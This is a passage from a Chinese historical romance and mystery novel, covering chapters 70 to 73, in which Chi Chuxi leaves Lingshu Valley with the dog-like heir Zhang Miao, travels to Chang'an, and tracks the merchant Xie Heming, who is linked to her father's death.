“你你你……”谢念指着他不知说什么好,“算了,随你吧,但你不能进去。”
景序昭应了声好。
谢念轻敲了一下门,没听见屋里有什么动静,于是轻手轻脚走了进去。
池楚浠今夜是睡得沉了许多,但额上依旧浸湿了汗,神情有些紧张,像是梦见了不好的事。
谢念轻轻擦去她额上的汗,小声道:“别怕,等过了这几日就舒服了。”
池楚浠没有醒来,昨日见她那般痛苦,谢念特意禀告了师父,让师父给了一些麻痹痛楚的药混在安神香里。
这药是有副作用的,会更容易感到疲累,后续的恢复期会延长,不过也不碍事,谢念心里都盘算清楚了,小娘子还是少吃些苦吧,能不痛就不痛,再说,景序昭也看不得她这样,成天不睡觉守在这里也不是一回事。
池楚浠没醒来的话就不必喝糖水了,谢念等了一会儿便从房间出来。
“她没事,我给她用了些减缓痛楚的药,后续要多恢复几日,等你们离谷后切记别让她累着,多歇几日就好了。”
谢念说完见景序昭还望向屋内,她无奈道:“门都关了,看什么,回去歇着吧,她无碍。”
景序昭还没准备走。
谢念推着他回房,嘴里念叨着:“就怪岳主事给你算的什么破命,若没有这寡命你早娶上媳妇了,何苦如今就盯着这一枝花儿。”
“师姐。”景序昭唤了一声道,“即便没有这命数,我等的人也是她。”
谢念把人赶回屋子:“知道了,日后若是成了记得请我喝喜酒。”
看着景序昭的房门关上,谢念默默地摇了摇头,可惜了,人家小娘子不喜欢。
昨夜没有被疼得睡不着,池楚浠晨起便早些,她一睁开眼就瞧见了屋里摆着新鲜的芍药,正是昨日景序昭摘的那些。
媚欺桃李色,香夺绮罗风;每到春残日,芳华处处同。芍药的香气随风飘散,弥漫在空中,仿佛给周围的一切都披上了一层香纱,怪不得诗人称赞它。
池楚浠静静地看了它片刻。
岳逸钦这几日都不曾露脸,他待在楚夫人屋里就没出来过。
谢念不让池楚浠去后山采药了,只允许她在附近溜达,最好在她眼皮子底下,这样方便照看,省的景序昭总担心这担心那。
张邈因吓着了池楚浠,被谢念用绳子栓在了槐树下,他似乎很享受当狗的乐趣。
池楚浠无聊,这会儿正蹲在张邈面前,看他舔自己的“爪子”。
“张邈,你是大狗还是小狗?”池楚浠问,她还用手比划了一下形状。
“汪汪!”张邈对着池楚浠在左边比的那个形状叫了两声。
池楚浠明白了:“哦……是大狗狗。”
“那你是什么颜色,白?黑?”
她一只手代表白,一只手代表黑。
张勉摇了摇头脑袋。
“那是黄还是灰?”
张邈抬起爪子放在了代表“黄”的手掌上。
“哦……原来是大黄狗。”
“你喜欢吃鸡还是兔?”池楚浠继续让它选择。
张邈选了兔。
谢念路过,瞧着这一人一狗玩得不亦乐乎,噗呲笑道:“你干脆把他当狗养着算了,他巴不得有个主人呢。”
池楚浠立即摆摆手,严肃道:“他只是病了,又不是真的狗,我怎能当他主人养着他。”
70. 不必紧张
谢念笑了笑,当即捏了根银针在手里,她拿着银针作势要扎张邈。
“别装了,再装我就扎得你屁股开花!”
谢念一通威胁,吓得张邈一头埋进池楚浠怀里。
谢念继续威胁:“别给老娘装狗,说人话,让池娘子瞧瞧,兴许人家一高兴就把你养着了。”
方才张邈的脑袋猛地埋过来吓了池楚浠一跳,她没敢有其他的动作。
这时张邈小心翼翼从池楚浠怀里抬起头来,圆圆的眼睛紧紧地盯着池楚浠。
谢念拿着银针靠近:“说给她看看。”
张邈顿了许久,生涩地开口吐出几个字:“我会……说、话。”
“池……娘子。”
池楚浠愣愣地听着。
谢念提醒池楚浠:“应他一下,不然他下回不敢同你讲话了。”
“哦……”池楚浠赶紧应道,“嗯,我是池楚浠,张邈,你人话说得很好,继续努力。”
池楚浠微微一笑,给了他一个鼓励的眼神。
张邈呆呆的脸上瞬间浮起一抹笑容,清澈的眼珠子直转,一时太过高兴,他垂着头朝池楚浠蹭去,像狗狗用脑袋蹭人似的。
还没蹭到小娘子,一只大手就抵住了他的脑袋,将他推回去坐着。
景序昭黑着脸道:“不许。”
张邈一屁股坐在地上,满脸委屈,眼里立马就蓄了泪水,可怜兮兮地望着池楚浠。
池楚浠瞥了景序昭一眼,沉声道:“他还在恢复期,你别凶他。”
为了安慰张邈,池楚浠抬手摸了摸他头顶,像摸狗头一样柔声道:“乖,别哭,张邈你做得很好,以后要多听谢师姐的,多说话,好吗?”
张邈含泪重重地点头:“嗯!说、说话。”
池楚浠笑笑:“没错,多说话,我过几日便走了,若是以后再见你,你可一定要好起来,不要再捡地上的东西吃,要像我们一样。”
张邈定定地望着池楚浠,似乎眼睛都不眨:“嗯!像……你一样。”
池楚浠朝谢念笑笑:“他学得挺快,这几日我竟还不知道他会讲话。”
谢念收起银针:“早就会讲了,只是不愿讲,他喜欢把自己藏起来,或许他觉得做狗更快乐吧,可他阿耶阿娘想尽快接他回去,总不能一直在这里当狗,他可是滕王府的世子。”
池楚浠有些惊讶地看向张邈,他的身份居然这般高贵,滕王她亦有耳闻,是一位异姓王爷,当年陛下登基有他一份功劳,是晟朝的重要军事将领。
原来张邈是滕王府的世子。
谢念道:“不必对他身份有所顾虑,师父说过,在这里治病的都一视同仁,皇帝来了也不例外,更何况一个世子,当年可是他父母求着送进来医治的。”
“若不是师父施以援手,他这会儿早就死透了,哪里还有好转的余地。”
谢念对张邈道:“从今日起别再装了,尽量做个人,我也不瞒你,你阿耶阿娘来信,想尽快接你回去,这几日若你表现好,我便让你随池娘子一道出谷。”
张邈认真地思索了片刻,然后重重点头:“我会……好好做人。”
谢念无可奈何地冲池楚浠笑道:“比起出谷他更想要个主人,这几日他显然跟你很玩得来,想跟着你走。”
池楚浠摆摆手:“这不妥,我不养人,也不养……狗。”
谢念笑笑:“他只是没安全感,想有人庇护着他,与他一起玩,最好玩一整天。”
“我日日忙得很,没空陪它瞎玩,跟他玩起来还不如你这几日用心呢,所以他爱缠着你。”
“没有硬让你当他主人,只是正好让景小子带他一程,让他归家去,他阿耶阿娘已经好几年没见他了。”
谢念看向景序昭道:“我听岳主事说你近日是要回长安一趟,就正好如此安排了,把人交给你我也放心,滕王也放心。”
景序昭淡淡地嗯了一声。
池楚浠朝景序昭看去,她还不知道景序昭近日要回长安,回了长安那苍山县丞还做吗?
他来苍山上任还没多少时日,长安职位的调动应当不会这么快才对。
似乎看出了池楚浠在想什么,景序昭道:“只是回去一趟向圣上禀明张参军一事,太子很看重此事。”
的确是应该看重,池楚浠心想,张参军当年就是因为得罪了瑞锦公主才被赶出长安,瑞锦公主的敌人就是太子的朋友。
这次张参军能重回长安,必是有太子一份功劳。
池楚浠道:“路途遥远,你回去路上当心便好。”
谢念道:“不会有事的,我们灵枢谷也会派人前往,中途会有滕王府的人来接应,滕王夫妇想念儿子想念得紧,万分不放心,沿途早已为我们安排妥当。”
“那便好。”池楚浠道。
既然滕王都已安排妥当,那景序昭走这一趟就能顺利许多。
张邈能听懂人话,他知道灵枢谷的人早已安排他准时出谷,无论他表现是否够好,但他想在所有人面前好好表现,他想要一个友好的玩伴,尤其是池娘子这样的。
谢念去忙正事前又嘱咐了张邈一遍:“好好做人哦,控制一下想做狗的念想,拿出你该有的水平。”
张邈点头如捣蒜。
池楚浠瞧见这一幕又笑了,尽管张邈努力装得像个人,但他的小动作和神情与狗别无二致。
池楚浠一笑便吸引了张邈的目光,对张邈来说,这是池楚浠在邀请玩伴,他当即兴奋地“汪汪”两声。
张邈撒腿就朝池楚浠跑来,还未蹭过来便被景序昭一手按住脑袋:“今日我陪你玩儿。”
张邈抬眼看向景序昭,小声地“汪”了一声,有些委屈似的。
景序昭沉声道:“怎么,还不乐意?”
张邈怯怯地望着他,不敢开腔,他用余光偷瞄池楚浠,希望池楚浠为他做主。
池楚浠正要说话,景序昭便抢先到道:“池娘子身体未愈,不可过多劳累,她该回去歇息了。”
张邈一听,便只能点头同意,他尽力压制着想做狗的本能,开口道:“你、陪我玩儿。”
景序昭找张若菱要了只毽子来。
有弟子来请池楚浠:“池娘子,师父叫你去一趟。”
“好。”
池楚浠随弟子前去。
这几日她还从未来过楚夫人的院子,一来便瞧见岳师父在与楚夫人下棋。
“楚夫人。”池楚浠恭敬地唤了一声。
楚烬颜笑着朝她招招手:“
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过来坐,我有东西给你,或许可帮到你。”
楚烬颜拿了一个小瓷瓶递过来:“将这粉末撒于白骨之上便能逼出深入骨髓的毒物,即使不用证据也可填写验尸格目,你阿耶的尸骨可用此法,幻梦蛉想要再次培育出有毒品种极其不易,且需要活人饲养,你做不到的。”
“若要向世人证明,这是最简易的法子,你手中的那只幻梦蛉就自己养着玩儿吧,不必再重现一次养蛊过程他们也会信你。”
池楚浠怔了片刻,忽地红了眼眶,她行了一礼道:“多谢楚夫人。”
楚烬颜摆摆手:“是景小子出的主意,否则我也不知你家中之事。”
池楚浠道:“我一会儿再去谢景县丞。”
楚烬颜嗯了一声。
岳逸钦一边琢磨着落下一颗棋子一边道:“你且放心,当年楚夫人还在太医署时便留下了一些验尸手法,其中便有这类显毒粉,只要拿出来用即便是三法司也会认可。”
“多些岳师父。”
池楚浠挨个道谢。
从楚夫人的院中出来,池楚浠去寻景序昭,说了要向他道谢总不能只说不做。
可才走到半路池楚浠便停步了,景序昭帮了她这么大的忙,只一句轻飘飘的道谢怕是不足够。
池楚浠只能返回屋中,至于如何谢他怕是要好生想想。
七日之期已到,谢念将后续要吃的药丸包好给了池楚浠。
“每日一粒,我们灵枢谷的药,药到病除。”
“有劳师姐。”
谢念笑着拍拍池楚浠的手:“你日后若是无处可去大可来灵枢谷给我打杂,我这里很缺人的。”
“好。”池楚浠笑着应道。
“去吧,路上小心。”
谢念将人送出门。
岳逸钦就不同行了,这里本来也是他的家,这里有他的夫人。
与他们同行的人换成了张邈。
今日谢念特意为张邈梳洗打扮了一番,穿得人模人样,看起来倒真像个世子。
张邈悄悄拽住了池楚浠衣角,一路上都躲着景序昭,生怕景序昭过来给他一脑瓜崩。
张邈道:“池、娘子,念念让我抓紧你,不走丢。”
池楚浠笑了笑:“好,那你抓紧,千万不要乱跑。”
张邈重重点头:“嗯嗯!张邈会的。”
景序昭驾着马车过来:“张邈,上车。”
此行是回苍山的路,景序昭毕竟还担着苍山县丞的名头,总不能一走了之,需得向上级审批。
铁耀跟着在谷中养了几日,体内的毒也好得差不多了,他代替了景序昭驾马车的活,景序昭则骑马走在一侧。
马车内,张邈依旧拽着池楚浠的衣角,他看起来有些紧张。
池楚浠打量着眼前这个少年,他其实很年轻,看起来和自己差不多年纪。
从前蓬头垢面时看不太出来,今日这样一收拾就很明显了,看起来傻乎乎的。
池楚浠道:“我知你几年没出谷了,不必紧张,我们先去一趟苍山,接着景县丞会送你回去。”
张邈盯着池楚浠,拽着她的衣角晃了晃:“你……一起回,好不好?”
池楚浠柔和笑道:“我不回长安。”
71. 是个游商
到了苍山与丹水的交界处,池楚浠发现流民少了许多,之前路边随处可见快饿死的百姓,如今都没有了。
有人肩上扛着粮食高兴地回家去,他们都是从同一个方向领了粮食出来的,想必这便是派送来的救灾粮。
景司空的做事风格和景序昭一样雷厉风行,父子俩一脉相承。
回到苍山公廨,景序昭先去述职。
张邈随池楚浠回了家中。
望着简陋的屋舍,张邈好奇地到处闻,到处看。
“池娘子,是你家?”他仰着脑袋四处观察,连房顶都不放过。
池楚浠道:“是,饿了吧,我去做饭。”
“要吃肉骨头!”张邈兴冲冲地跟着池楚浠蹦到厨房,“肉骨头!”
池楚浠笑着扯了一下他的辫子:“好,我去买。”
灵枢谷跟着来的弟子叫序秋,是个年轻的小娘子,池楚浠对序秋道:“劳烦序秋姐姐在家中看着他,我去买些菜回来。”
序秋点点头:“去吧。”
还未出门,就有丫鬟上门道:“池娘子,县令夫人请几位去家中做客,景县丞已随县令先去了。”
“是靳伯母?”池楚浠问。
丫鬟道:“是,夫人特地叫奴婢来请。”
张邈一听要去陌生人家中又紧张起来,拽着池楚浠的衣角躲在了她身后。
池楚浠安慰道:“不怕,序秋姐姐会陪你一起去的,吃个饭而已,他们家有肉吃哦。”
“很多很多肉。”
张邈这才笑起来:“好!”
几人随丫鬟去了县令家中。
刚踏入县令家的大门,靳夫人便迎了上来,她拉起池楚浠的手道:“快进来,许久不见你了,我知道你来了苍山却一直没空叫你来家中,今日总算是见上了。”
靳夫人立马看向张邈,她毕恭毕敬道:“世子快请,您与景县丞他们一桌。”
池楚浠明白了,难怪县令要请客吃饭,原来是有两个人的面子在,一个景序昭,一个腾王府世子。
张邈一直拉着池楚浠的衣角没松开,他噘着嘴道:“我不,我要和池娘子一起。”
“啊?”靳夫人愣了一下,过了一会儿反应过来,“哦,行行行,您爱坐哪坐哪儿,我这就让人加个座位。”
池楚浠带着张邈和序秋上桌吃饭。
靳夫人见池楚浠他们还带着行李,便道:“先把行李放下好好吃顿饭。”
池楚浠的包袱里都是些重要东西,方才她都不想放在家中,怕无人看守不小心丢了。
靳夫人看出她重视身上的包袱,便道:“我让贴身婢女放我屋中,旁人不敢乱动。”
靳夫人从前待池楚浠不错,池楚浠还记得,她为人没有什么坏心肠,池楚浠便将包袱给了她的婢女。
序秋不愿意交包袱过去,只说要自己带着,靳夫人就随她了。
也不知县令家如何这么快就得知了张邈的身份,一顿饭下来全家人都对张邈照顾有加,尽管张邈表现出各种异样,他们也是笑脸相迎。
温迟或许还想攀附张家这棵大树,毕竟滕王是开国大将,手中握有兵权,且他一直对陛下忠心耿耿,深得陛下偏爱。
景家的景凛渊也同样手握兵权,不过景凛渊驻扎在外,极少回长安,相比之下,更多人乐意讨好滕王。
池楚浠心想,温迟或许也是想在滕王面前留个好印象,让他儿子在匆忙赶路回家时吃顿好饭。
温迟亲自给张邈打包了许多肉干,让张邈带在路上吃,可千万别饿着。
池楚浠去靳夫人屋里取行李,丫鬟手脚笨,不小心将包袱提散了。
“对不起,池娘子。”丫鬟赶紧蹲下去捡。
“无妨。”池楚浠道。
两人蹲在地上收拾包袱。
靳夫人来了,训斥了丫鬟几句,她帮着一起收拾。
地上有一张卷起来的纸,靳夫人不小心瞥见了一角,见那纸上似乎画着个男人,她以为是池楚浠那春心萌动的小心思,便拿了纸转到一旁悄悄打开看。
直到池楚浠把地上都收拾干净了,靳夫人也没把画放进来。
池楚浠道:“伯母,你在看什么?”
靳夫人拿着画转过身来,指着那画像上的人道:“这是谁呀?怎会在你这里?”
池楚浠察觉到她的神情有些不对,便试探着问:“伯母认识?”
靳夫人皱皱眉头:“也算不得认识,只是有些印象,但又不确定是不是他。”
池楚浠道:“这是我在沙洲遇见的一位游商,当时他在我这儿买了些东西未给酬金,说我日后拿着这副画去长安的铺子找他便能要到酬金。”
靳夫人哦了一声:“这样啊,好像的确是个游商,两年前他也来过苍山,也在这边做生意,不过没待多久便走了。”
池楚浠心中一震,着急问道:“他做什么生意,一行多少人?”
靳连珠道:“他卖一些饰品和小型器具,我之所以这么久还记得他,只因他卖的那些东西的确有些意思,那些饰品是我从未见过的款式,很是新奇。”
“我有一只发夹便是在他那里买的,我找给你瞧瞧。”
靳连珠从首饰柜中翻出一只发夹来,池楚浠接过那只发夹细看,这只发夹的工艺与寻常的发夹不同,它更容易固定头发,看起来工艺也不繁复,但不像晟朝的东西。
它制作精美且不是昂贵的材质,平日里好看的发夹都佩戴于富贵人家的女子头上,寻常娘子是买不起的,但这个发夹材质普通,款式好看,寻常人家也可以买。
池楚浠看后感慨道:“的确是很有巧思,若我见了我也会买。”
靳连珠笑笑:“是啊,我就后悔,当时该多买些,只可惜后来再也没见过他,若你见着他的铺子,能否帮我买一些,我给你钱。”
池楚浠点头应下。
原本她是不打算此时去长安的,但这个谢鹤明她有必要去会一会。
若晚吟的画像没错,画中人正是他的话,那他明明是长安人士,两年前为何要来苍山,而近日又出现在沙洲。
靳连珠道:“我本不想与你说的,怕你想起伤心事。”她叹了口气道,“这游商走的那日就是你阿耶落水那日,因此我一直记得牢牢的。”
“只是没想到这么巧,如今你也与他做了买卖,他从你这儿买了些什么?”
池楚浠怔住了,原来阿耶死时这个游商也在。
“楚浠?”靳连珠唤了一声。
池楚浠回过神来:“买了些我与朋友自制的香膏,不是什么值钱的东西。”
从县令家出来后,一行人便回了池
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楚浠的家,景序昭和张邈都表示不想在县令家留宿,所以温迟也就不强留了。
简单收拾了多的床铺出来,序秋便去睡下了。
池楚浠决定回长安一趟,打听那个谢鹤明。
张邈赖在池楚浠房间不肯离去,景序昭便倚在门口与他四目相对。
池楚浠尴尬地笑了笑:“张邈,你随景县丞去歇息,明日一早我们还要赶路。”
张邈摇摇头:“我不要跟他一起,他凶……”
池楚浠看向景序昭道:“你不许凶他,他胆子小。”
景序昭闷闷地嗯了一声:“知道了,走吧张邈。”
张邈不乐意地闷哼了几声,继续甩着脑袋不肯走。
景序昭不再跟他耗,他不知从哪掏出一截绳子,直接套在了张邈身上,强拖着人就出去了。
外边传来张邈可怜兮兮的狗叫声。
第二日清晨,景序昭一松开绳子张邈就躲到了池楚浠身后,寸步不离。
池楚浠在马车上小声问张邈:“昨日他可有凶你?”
张邈眼珠子转了一下,赶紧点头:“嗯,凶!”
池楚浠轻轻叹了口气,摸了摸张邈脑袋,像给狗顺毛:“他只是凶了些,不是坏人,你别怕他。”
序秋骑马走在景序昭身侧,他俩都习过武,听力好,方才马车里的话两人都勉强听见了。
序秋笑着瞥了景序昭一眼,道:“怎么,是不是觉得做狗比做人好,至少有人疼。”
景序昭沉默了。
序秋还是没忍住笑了起来:“有些人想做狗都不能呢,没机会。”
夜里宿在一处官用驿站,滕王的人早已做好安排,池楚浠他们顺利地住下了。
驿长备了丰盛的晚饭招待他们。
“几位的房间都在楼上,有什么需要尽管告知下官,下官去操办。”
景序昭道:“有劳了。”
驿长道:“不客气,滕王府的人早就跟下官知会过。”
张邈大口吃肉,他不喜欢用筷子,也用得不好,着急起来就直接上手。
啃完肉,张邈满手油,池楚浠领着他去后厨洗手。
“你吃东西要慢些,不可狼吞虎咽,要记着。”池楚浠嘱咐道。
“知道了。”张邈嬉皮笑脸地看着池楚浠,接着又一脸委屈道,“今夜我要跟你睡……我不要他,他拿绳子捆我。”
池楚浠道:“你听话别乱跑他就不捆你了,他是怕你走丢,附近是荒郊野外,你一旦走丢了就会被野兽吃掉。”
“不要被野兽吃掉!”张邈吓得一把抱住池楚浠,把脑袋埋在她肩上。
“我怕野兽,我保证……不跑。”
后厨门口,秦副将和景序昭一起看着这一幕,一个人睁大了眼睛表示震惊,另一人脸黑得像锅底。
池楚浠扒拉开张邈,让他站好。
“你乖乖地待在驿站睡觉,不会有野兽来,放心。”
“嗯……”张邈红着眼圈望着池楚浠,“你不骗我……池娘子不骗我。”
池楚浠道:“我不骗你。”
两人洗完手转身才看见候在门口的秦副将和景序昭,那二人的神情十分精彩。
秦副将赶紧道:“池娘子是吧,我是秦迟,滕王派我来接世子,明日起我便与你们同行。”
72. 相看夫君
张邈躲在池楚浠身后,昂着脑袋道:“不要跟他一起,跟池娘子!”
秦迟看着池楚浠道:“在灵枢谷时是池娘子一直照看世子吧,不如池娘子与我一同回王府。”
“不行!”
景序昭立即沉声道。
秦迟疑惑地朝突然冷声的景序昭看来。
池楚浠道:“秦副将,我并非是照顾他之人,这几年照顾世子的是灵枢谷的谢大夫,世子只是与我玩得来,我就不随二位去王府了,我还有自己的事要办。”
秦迟哦了一声:“这样啊,那到了长安再说。”
秦迟看着景序昭道:“景县丞怎么这么大火气?”
景序昭:“……”
池楚浠领着张邈出来,把张邈送去了他自己的房间,由秦迟照看。
才睡下没一会儿,外面就传来咚咚咚的撞门声。
“池娘子……救命!”
“救张邈!”
池楚浠还没睡着,听着这声儿瞬间就精神了,门外喊救命的正是张邈的声音。
她匆匆下床,拉开门一看,张邈一头扑了过来,牢牢揽在池楚浠腰间。
“他要杀我……不跟他睡!”
张邈委屈得直抹眼泪。
秦迟跟在后边急得青筋直跳:“冤枉啊,我只是将佩刀放在床边,我几十年来都是如此,怎么成想杀人了。”
张邈吓得浑身发抖,看来是真害怕。
池楚浠也不好把人推开,只能安慰地抚了抚他的头:“没事,他不是要杀人,佩刀不过是他的玩具而已,你也可以玩儿,不过不能将刀拔出来,容易伤着。”
秦迟赶紧顺着接话:“没错,我这把刀是玩具,世子您可以随便玩,不用害怕。”
秦迟无奈地摆着手:“我不杀人的,更不敢杀你呀。”
张邈的害怕一点没有减少,身子还在微微颤抖,他把头埋在池楚浠颈边道:“骗人!骗子!他不是好狗!”
秦迟:“……”
张邈道:“刀上有血……就是杀人。”
“有血?”秦迟实在没忍住,当即把刀拿来检查,“没有啊,哪儿有血?”
一把刀在这里晃来晃去令张邈很是恐慌,他甚至连头都不敢抬起来。
池楚浠凑近刀面闻了闻,瞬间明白了:“秦将军,是有血腥味,世子的嗅觉比常人灵敏,自然能闻出来。”
秦迟自己捧着刀嗅了好一会儿,皱眉道:“大概是我闻得多,没感觉,那怎么办,总不能把我吃饭的家伙扔了吧,这可是一把好刀,王爷亲自赏我的。”
张邈抱着人死活不撒手,说什么也不肯跟秦迟回去。
秦迟只能道:“要不池娘子担待一晚?照看照看他?”
池楚浠正要点头,景序昭便大步走进来,拿了绳子套在张邈身上,直接把人拖了出去。
秦迟:“……”
池楚浠对秦迟道:“秦将军不用担心,世子与景县丞在灵枢谷时就是老熟人了。”
秦迟:“这……好吧。”
隔壁传来几声世子的嚎叫,不过很快就安静下来,再也没闹出什么动静。
到长安的这一日,是滕王府的人来接应,一行人顺利地入城。
池楚浠望着熟悉的街道愣了愣,这里繁华似锦,仿佛是所有人都向往的天上人间。
秦迟即将带着世子分路,他来到池楚浠面前道:“池娘子当真不去王府做客,世子可是很希望你能一同回去。”
池楚浠道:“不了,多谢世子好意,秦将军慢走。”
秦迟:“好吧,那我们就先回去了。”
张邈扒在马车边缘眼泪汪汪地望着池楚浠,要不是秦迟拦着,他就要跳车了。
序秋的任务是将张邈活着送回长安,此时任务完成便自行离去。
这一路又只剩了池楚浠与景序昭。
她道:“你去处理张参军一事吧,你我就此别过,欠你的恩情若是有机会一定还清。”
景序昭道:“你不欠我什么,反倒是我带你查案让你身陷囹圄,差点身中剧毒而亡,是我没护好你。”
池楚浠侧目朝他看去,不想再与他多说,怕说得越多对方越口无遮拦。
“我去探望干娘。”她道。
就在这条路上,她与景序昭走了不同的方向。
她只顾闷头往前走,景序昭却在路口站了许久,看了许久。
小娘子的背影还和从前一样,在他眼皮子底下渐行渐远。
田兰竹没想到这么快就见着女儿了,拉着她说了好半天的话,激动得热泪盈眶。
池楚浠给她带了沙洲的香膏、胭脂、青黛,田兰竹爱不释手。
“你这次回来可是有什么急事?”田兰竹问,她是了解池楚浠的,当初走得那般决绝,若不是特别要紧的事绝不会就这样回来。
池楚浠道:“来替阿耶寻曾经的故友,我去到沙洲时听闻他来了长安,未送出去的那封信或许是阿耶的遗愿,我会尽力为他做到。”
池楚浠并未对田兰竹说实话,寻找阿耶故友只是一个表面上的说辞,就连他是否真的在长安她都无法确认。
此番回长安她主要是想打听一个叫谢鹤明的人,那位少府监监丞,谢鹤明。
池楚浠在家中歇了两日,还未寻到一个合适的机会去打听谢鹤明的消息。
这日下午,田兰竹的相公裴焕吃过饭后道:“过几日曲江池畔有一场蹴鞠赛,届时城中不少富贵人家的娘子郎君都会去凑个热闹,楚浠也跟着去看看。”
池楚浠愣了愣,没明白他的意思。
田兰竹道:“咱家楚浠也不急着这一时吧,那些娘子郎君要相看只管相看他们的去,是吧,楚浠?”
田兰竹笑着看向池楚浠,想知道她是什么想法。
这样的郊外蹴鞠赛无非就是给小娘子和小郎君们制造一场盛会,大家彼此认识一下,若有相中的那便成就一桩好姻缘。
照裴焕的意思是想让池楚浠也去相看一番。
田兰竹还在等池楚浠的反应。
池楚浠明白过来后,问道:“义父可知都有哪些郎君到场?”
见池楚浠似乎有兴致,田兰竹也开怀了些,看来她也不是一直记挂这季沐风,这是好事。
她杵了杵裴焕:“快说说,都有哪些不错的郎君,要人品样貌都好的。”
裴焕没好气地瞥了她一眼:“还让你挑出花来了,哪有那么多人品好样貌好的,过得去便已是不错了。”
田兰竹不乐意地白了他一眼:“那你倒是说说有哪些?让咱家两个女儿都去看看。”
池楚浠看向坐在身旁的妹妹裴清浅,她此刻正红着脸低了低头。
裴焕道:“殿中侍御史之子魏九昭,内侍省掖庭局宫教博士之子卢知彰,这两位的学识和样貌还过得去,以咱们家的身份也是可以够
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得着的。”
田兰竹思忖着:“你说得也在理,太富贵的人家咱们也高攀不上。”
“听说那卢知彰心思独特,年前家里为他说了个小娘子,他不乐意,说是不合眼缘,把他阿耶阿娘气得够呛。”
“我瞧着他这心性指不定与楚浠合得来,左右那卢家很是看重儿子的心意,只要那卢郎君喜欢,他们必定不会多加阻拦。”
池楚浠是退过婚的,附近的邻居随便一打听就知道,她正好需要一位只看眼缘不看家世背景的郎君。
裴焕点点头:“我也是如此认为。”
田兰竹笑着朝池楚浠看来:“你认为如何,过几日可要去那曲江池畔看看?”
池楚浠却问道:“义父,少府监监丞谢鹤明可在其中?”
夫妇俩都愣了一下。
竟然有池楚浠自己感兴趣的人,这倒是奇了。
裴焕道:“谢鹤明是燕不染的得意门生,这几年青云直上,都说他是祖坟冒青烟走了大运,如今他已是从六品下官职,我们怕是有些高攀不起。”
倒也不是完全不能高攀,只是池楚浠有婚约在前,这一点怕是不好与男方家谈条件,裴焕显得有些为难。
田兰竹思索了一番,拉着池楚浠的手问道:“你喜欢这位谢监丞?他如今是个鳏夫,身价早已没那么高,跟咱们家也不是不行。”
池楚浠道:“倒也不是喜欢,只是在外听说了他的一些事迹,好奇罢了。”
裴焕道:“我与谢家没有来往,不知他是否会去蹴鞠赛,不如你自己去看看。”
“是,义父。”池楚浠点头应下。
裴清浅今年已到了说亲的年纪,裴家夫妇对此上了心,想让女儿自行相看,若能寻到个情投意合的郎君自然是最好。
蹴鞠赛前一日,裴清浅拿着两支花来寻池楚浠。
“池姐姐,你喜欢哪朵,挑了去戴。”
她手中各放着一翠一粉两朵小绒花,做工很精致,若戴在头上必能衬得女儿娇俏妩媚。
池楚浠将那朵粉的戴在裴清浅发间,笑道:“这朵最衬你,粉嫩得像个花骨朵似的。”
裴清浅不好意思地低头浅笑,她帮池楚浠戴上了那朵翠色的绒花。
因着天气好,蹴鞠这日许多人一大早便去了,这个时节不少人去河畔踏青。
池楚浠和裴清浅一道出门,身边带了一个侍女一个小厮。
池楚浠在路上看见不少少男少女都是往一个方向去的,还有许多去看热闹的百姓。
乡野河畔难得办上这么一场蹴鞠赛,大家都很感兴趣。
裴清浅一路上有些害羞地挽着池楚浠胳膊。
“清浅,你是不是许久没出来过了?”池楚浠问。
“是啊。”裴清浅点点头,“许久不曾出门了,在家里听阿耶阿娘念叨了许多次,说要找个人家把我的亲事定下。”
池楚浠嗯了一声道:“那今日你便仔细瞧瞧,看看是否有中意的小郎君。”
裴清浅眼中露出几分疑惑地望着池楚浠:“你当真不惦记季沐风呢?”
池楚浠摇摇头:“不了,他心中有人我为何不成全。”
“若他后悔了呢?”裴清浅道,“若他不爱白娘子,又回头来找你,你还要回去吗?”
池楚浠愣了愣,缓缓摇头。
“我已放下了。”
“真的?”
“真的。”
73. 蓄意接近
最平坦的那一处用做比赛场地,玩的是双球门蹴鞠,在场地两端各设置一个球门,比赛双方各守一个球门,以将球踢进对方球门的次数多少来决定胜负。
比赛的队伍是早就定好的,今日不比赛的人都是来看热闹的,看热闹的人足足可以围场地两圈。
周围已经陆陆续续来了不少人,大多是结伴而行,大户人家的娘子们都带了好几个随从,一眼望去,是不是富贵人家一眼便知。
随着人越来越多,随行来维护秩序的侍卫们也都到齐了,他们往场地旁一站,瞬间有了威严。
这样的场合若是不派侍卫来恐怕那些娘子郎君的阿耶阿娘要提心吊胆,这样一来,大家都安心。
“让一让!”
有丫鬟朝池楚浠她们撞过来,那丫鬟开出一条路后便让自家小姐上前。
“娘子,这里看得清。”
池楚浠和裴清浅被挤到一旁,原先的好位置被那丫鬟占了去。
一位身着粉裙的娘子款步走了过来,她周围簇拥着四个随从,有丫鬟也有小厮,是大户人家的配置。
粉裙娘子淡淡地朝池楚浠看来,对于霸占了别人的位置来看,她似乎没有丝毫歉意,只扫了池楚浠她们一眼便作罢。
裴清浅在池楚浠耳边小声道:“原来是她,她也来这样的场合不怕被人嘲笑吗?”
池楚浠道:“你认得她,她是哪家的小娘子?”
裴清浅道:“户部尚书之女,苏岫,她早已过了说亲的年纪,如今没有哪个媒人敢去给她说亲,没想到今日她竟跑到这种场合来,莫不是想通了,要嫁人了。”
池楚浠拉着裴清浅就在后排看比赛,这个位置视角太差了,看不清赛场上到底是个什么情况。
池楚浠小声问:“她为何拖到这么大年纪了还不说亲,可是有什么苦衷?”
裴清浅哼了一声道:“哪有什么苦衷,她只不过是想嫁去景家,当年景家的小娘提了一嘴,说景家想让二公子娶苏家女儿,当时也不过就是随口说说,这么多年景家也没提起这桩婚事,可那苏家娘子却当真了,就等着景家来求亲,一等就等了这么多年。”
池楚浠微微有些惊讶,她不免朝苏岫的背影看去,原来之前陆逍提到的苏家女便是她。
陆逍说苏岫还因此拒绝了谢家的求娶,这还真是太巧了。
裴清浅道:“你看她今日穿得这般粉嫩,想是还一门心思要将咱们这些人比下去呢,可惜她年纪大了,那些好郎君不会愿意娶她。”
池楚浠示意她小声些,别被苏家人听见了。
裴清浅也懒得再提,踮着脚去看比赛。
池楚浠吩咐家里跟出来的丫鬟紫珞照看好裴清浅,自己则从人群中退了出去。
她今日是来寻人,不是来看比赛的。
池楚浠绕着围观的人群看了一圈,没有她要找的人,她退到远处,寻了一块较高的地势看向蹴鞠场中心。
她的眼神向来很好,隔着较远的距离视物也很清晰,仔细将比赛场中的郎君都看了一遍,池楚浠的目光定在其中一人身上。
他不是参赛者,而是裁判。
“谢鹤明。”池楚浠念出这个名字,他的模样与画作上有七分相似。
池楚浠仔细整理好衣裙,确认自己今日的打扮还算靓丽,尽管配饰不够华贵,但胜在模样能够脱颖而出。
